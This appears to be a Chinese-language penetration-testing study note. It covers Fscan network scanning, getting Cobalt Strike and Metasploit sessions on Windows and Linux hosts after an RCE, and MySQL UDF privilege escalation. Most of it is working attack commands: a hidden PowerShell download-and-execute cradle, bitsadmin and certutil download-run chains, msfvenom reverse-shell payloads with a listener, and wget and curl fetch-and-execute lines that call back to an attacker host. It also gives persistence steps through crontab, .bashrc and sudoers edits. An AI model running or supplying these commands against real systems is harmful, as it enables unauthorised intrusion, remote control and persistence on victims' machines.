第十五周Fscan和利用漏洞上线远程和数据库提权上线远控
上周我们体验了黑客是如何进行内网渗透的,我们是指定使用的ms17_010漏洞的。那我们如何知道我们的目标有什么漏洞了。
这里我就要介绍个工具
Fscan
- 基于 ICMP 的主机存活探测:快速识别网络中的活跃主机设备。(就是ping命令,不过开启防火墙时候有可能扫描不到的)
- 全面的端口扫描:系统地检测目标主机的开放端口情况。
- 常用服务密码爆破:支持 SSH、SMB、RDP 等多种协议的身份认证测试。
- 数据库密码爆破:覆盖 MySQL、MSSQL、Redis、PostgreSQL、Oracle 等主流数据库系统。
- 网络信息收集:包括 NetBIOS 探测和域控制器识别。
- 系统信息获取:能够读取目标系统网卡配置信息。
- 安全漏洞检测:支持 MS17-010 等高危漏洞的识别与检测。
- 网站信息收集:自动获取网站标题信息。
- Web 指纹识别:可识别常见 CMS 系统与 OA 框架。
- 漏洞扫描能力:集成 WebLogic、Struts2 等漏洞检测,兼容 XRay POC。
- Redis 利用:支持写入公钥或植入计划任务。
- SSH 远程执行:提供 SSH 命令执行功能。
- MS17-010 利用:支持 ShellCode 注入,可实现添加用户等操作。
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析。
下载地址是在:Fscan-wiki | 安全扫描知识库
不过fscan在2.0以上就不提供代码了,需要自己使用源码编译,程序使用的是go语言。
# 基础编译
go build -ldflags="-s -w" -trimpath main.go# UPX压缩(可选)
upx -9 fscan 下载的是二进制:Releases · shadow1ng/fscan 1.8版本的(这个全是英文的。)
安装好后打开命令行输入fscan.exe运行就行了

工具的使用
fscan.exe -h 192.168.x.x (全功能、ms17010、读取⽹卡信息)
也可以扫描c段
fscan.exe -h 192.143.x.x/24 

不过因为这玩意用的是主机存活探测,所有有可能会失误,就是扫描不到,因为有的防火墙完全有能力阻止他人 ping 通目标主机。
我使用了扫描C段,另一个靶场开着的,可就是没有看到相应的信息,一般遇到这种情况原本某个主机有漏洞,但是因为防火墙而被跳过扫描是没办法的,毕竟有那么多的IP。
这玩意相当于钓鱼一样,在有靶场的地方我们就好比在很多鱼的水库里面钓,而渗透就像是野钓,在一个陌生的河流,你不知道有不有鱼,有什么样的鱼。
只有关闭公网的防火墙才可能发现漏洞


红色意味漏洞
而且这个不止可以扫内网,还可以整其他的。
利用RCE漏洞上线远程
通过 Web 渗透获取 RCE 漏洞后,下载后门文件到目标主机并执行以上线 CS 或 MSF,实现文件下载执行的方式主要如下:
第一种方式:远程下载文件到本地再执行
先将后门文件从远程服务器下载至目标主机的本地磁盘,完成文件落地后,再通过命令或脚本执行该后门文件。(就是自己先搭建一个网站并且把 木马文件放进去,在控制肉鸡访问网站来下载木马)
第二种方式:远程下载执行(无文件落地)
直接在目标主机内存中加载并执行远程后门文件,整个执行过程中不会在目标主机磁盘上生成二进制文件,这种方式已成为后门文件下载执行的首要方式。
不管哪个方法,都是需要托管好木马,得有一个自己的服务器。我们可以使用phpstudy来搭建网站也可以放在github上,还有最简单的方式⽤ Python 快速搭建 HTTP 服务器
python3 -m http.server 8000 # Python 3(默认端⼝ 8000) 

在虚拟机创建的服务器就算放在主机也能登录,额,我的不行。
cobaltstrike托管


Windows上线cobaltstrike
先打开cobalt先,找到攻击选Web投递

path什么的无所谓,我们设置的端口记得不要冲突,先选powershell

生成后,直接复制

如果一不小心去掉也可以找回的。

这些命令会直接在内存中执行恶意代码,不落地文件。下面的代码是仅供展示用的
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.x.x.x:8088/a'))" 注意单引号或者双引号这类的
一些命令注入注意单引号或者双引号这类注意闭合,如果有些执行不了可以使用转义符就可以了.
连接
因为我们已经利用RCE漏洞进来了,我们就可以利用shell命令输入刚刚的Web投递,然后cobaltstrike就连上了肉鸡。

Bitsadmin
Bitsadmin 是一个命令行工具,可用于创建下载或上传任务,并监测其进展情况。区别与powershell,它是下载木马后执行然后再删除木马。

cmd.exe /c bitsadmin /transfer daa3 http://192.168.153.136:80/a1 %APPDATA%\
daa3.exe&%APPDATA%\daa3.exe&del %APPDATA%\daa3.exe certutil
Certutil 可用于备份证书服务,支持从 Windows XP 到 Windows 10 的全系列系统。由于使用 Certutil 下载文件时,目标主机都会留下文件缓存,因此一般建议在下载完成后,及时对缓存文件进行删除操作。注意为Web投递要使用exe
#下载文件
certut^il -urlcache -split -f 生成的投递
#删除缓存
certutil -urlcache -split -f 生成的投递
#查看缓存
certutil -urlcache * 

Linux上线metasploit
上面介绍了利用 Cobalt Strike 上线 Windows 系统的方法,下面将介绍 Linux 系统上线 Metasploit 的各种技术方法,包括 payload 生成、传输方式和执行技巧。
生成payload,记住是用elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.153.136 LPORT=4
444 -f elf > payload.elf # 64位系统
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f el
f > payload64.elf
# 绑定型payload
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=<PORT> -f elf > bind_paylo
ad.elf
# 加密payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e x8
6/shikata_ga_nai -f elf > 
然后启动监听器
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.153.136
set LPORT 4444
run# ⾃动迁移进程
set AutoRunScript post/linux/manage/migrate
# 多线程处理
set ExitOnSession false
#后台运行
exploit -j Payload传输方法
直接下载
# 使⽤wget
wget http://192.168.153.136:8081/payload.elf -O /tmp/p && chmod +x /tmp/p &
& /tmp/p
# 使⽤curl
curl http://192.168.153.136:8081/payload.elf -o /tmp/p(下载到tmp,但是还不能运行) && chmod +x /tmp/p(给权限) && /tmp/p 
分块传输
# 分割payload
split -b 500k payload.elf payload_part_
# ⽬标机重组
cat payload_part_* > payload.elf 编码传输
# Base64编码
base64 payload.elf > payload.b64
# ⽬标机解码执⾏
base64 -d payload.b64 > payload.elf Payload执行技巧
基础执行
chmod +x payload.elf
./payload.elf & 内存执行(不落盘), /dev/shm 是内存⽂件系统,重启后消失, 比 /tmp 更隐蔽
curl -s http://192.168.153.136:8081/payload.elf > /dev/shm/.p && chmod +x /
dev/shm/.p && /dev/shm/.p &
rm -f /dev/shm/.p # 写⼊crontab
(crontab -l 2>/dev/null; echo "* * * * * /tmp/payload.elf") | crontab -
# 写⼊profile
echo "/tmp/payload.elf &" >> ~/.bashrc # 通过sudo执⾏
echo 'user ALL=(ALL) NOPASSWD: /tmp/payload.elf' >> /etc/sudoers
sudo /tmp/payload.elf 数据库提权上线远控
在内网渗透中,通过弱口令扫描或 Web 主机信息搜集,往往能获取大量数据库的 IP、账号及密码。针对这些数据库如何开展进一步渗透,以往通常依赖安全工程师进行手动测试。
MDUT简介
MDUT 全称 Multiple Database Utilization Tools,是一款中文的数据库跨平台利用工具,集合了多种主流的数据库类型。该工具基于前人的 SQLTOOLS 开发(向 SQLTOOLS 致敬),旨在将常见的数据库利用手段整合到一个程序中,打破各类数据库利用工具因依赖不同环境而导致使用不便的隔阂。此外,工具以 JAVAFx 作为 GUI 操作界面,界面美观。同时,程序支持多数据库同时操作,每种数据库相互独立,极大方便了网络安全工作者的使用。
MDUT-Extend 是对原版 MDUT 的增强修复版本,围绕功能性和稳定性进行了优化与修复,提升了工具的易用性和可靠性,让数据库利用过程更加顺畅。GitHub - DeEpinGh0st/MDUT-Extend-Release: MDUT-Extend(扩展版本)



UDF提权
什么是UDF
UDF(User Defined Function,用户自定义函数)是 MySQL 的一个扩展接口,用于拓展 MySQL 的功能。用户可通过自定义函数实现 MySQL 自身无法完成的操作,其文件后缀为 .dll(Windows 系统)或 .so(Linux 系统),通常使用 C 语言编写。
UDF 提权本质上并非真正意义上的权限提升,它只是借助当前 MySQL 的运行权限来执行系统命令。若 MySQL 的运行权限过低,这种提权方式同样没有太大实际意义!!!
提权条件
- MySQL 允许导入导出文件的前提是
secure_file_priv的值为空(注意:为空不等于为 NULL,若该值为 NULL 则完全无法使用 UDF)。 - UDF 提权需要高权限用户(如 root)启动 MySQL。该账号需具备对数据库
mysql的insert和delete权限,实际是为了操作数据库中的func表,因此func表也必须存在。只有具备这些权限,才能将文件写入目标文件夹,否则大概率会写入失败。 - MySQL 不能开启
--skip-grant-tables参数。开启该参数后,UDF 无法被加载,该参数默认处于未开启状态。

所以我这个没法UDF提权,必须进行更改
找到D:\phpstudy_pro\Extensions\MySQL5.7.26



powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloads
tring(\'http://192.168.153.136:80/a\'))" 

